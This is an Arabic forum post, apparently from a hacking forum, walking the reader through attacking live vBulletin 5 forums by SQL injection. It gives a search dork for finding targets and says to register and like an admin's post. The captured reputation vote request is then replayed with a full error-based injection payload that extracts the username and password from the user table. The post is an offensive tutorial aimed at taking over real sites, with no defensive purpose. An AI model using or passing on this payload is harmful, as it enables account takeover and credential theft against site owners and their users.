اليوم ساشرح تغرة في منتديات الفي بولتن 5
الشرح لvirusx-76 (اندلوسي) Morocco وارجو من كل من ينقل الموضوع ان ينقله مع الحقوق
نوع التغرة : SQL Injection
Powered by vBulletin™ Version 5.0.0 Beta : Dork
نبدا اول شئ نبحت بواسطة الدورك في العم خوخل الى ان تجد منتدجى مركب النسخة
انا ساجرب على هدا المنتدى عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا
[ للتسجيل اضغط هنا ]
اوك اول خطوة قم بالتسجيل في المنتدى كعضو
بعدج دلك ندخل المنتدى ونبحت عن مواضيع الاعضاء
اي موضوع لاكني افضل انك تجيب موضوع للادمن كي تاخد الكاس مرة واحدة
ملاحظة كي تعرف الادمن بسرعة اضغط على اسم اي عضوفي المنتدى او اسم عضويتك
وسيكون الرابط على هدا الشكل عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا
[ للتسجيل اضغط هنا ]
مكان 2-xxx استبدلها بالرقم 1 وياتيك اسم الادمن
اوك نرحع للتغرة بعد ما جبت مشاركة او موضوع للادجمن ندهب في متصفح الموزيلا الى tools=) HTTP HEaders
ان لم نحدها حملها هنا عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا
[ للتسجيل اضغط هنا ]
بعد الضعط على HTTP HEaders ادهب للصفحة اللي كاتب فيها الادمن واعطيه لايك
سيضهر لك كودات اختار السطر الدي يشبه هدا /ajax/api/reputation/vote HTTP/1.1
بعد دلك اضغط كلمة Replay في الاسفل
ستضهر لكنافدة جديدة مكتواب فيها noteid=somenumber لا تمسحها ستقوم بنسخ سطر استغلال التغرة
حنبها مباشرة
سطر استغلال التغرة وهو
) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x27,0x7e,password,0x27, 0x7e) FROM user LIMIT 1,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
بعد دلك اضغط Replay ومبروك عليك سيعرض المعلومات على المتصفح او يعطيك ملف تحمله تجد بداخله البيانات
هدا رابط لتحميل الفديو + معلومات التغرة
عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا
[ للتسجيل اضغط هنا ]
شرح ثغرة sql في منتديات Vbulletin 5 x x
العرض العادي
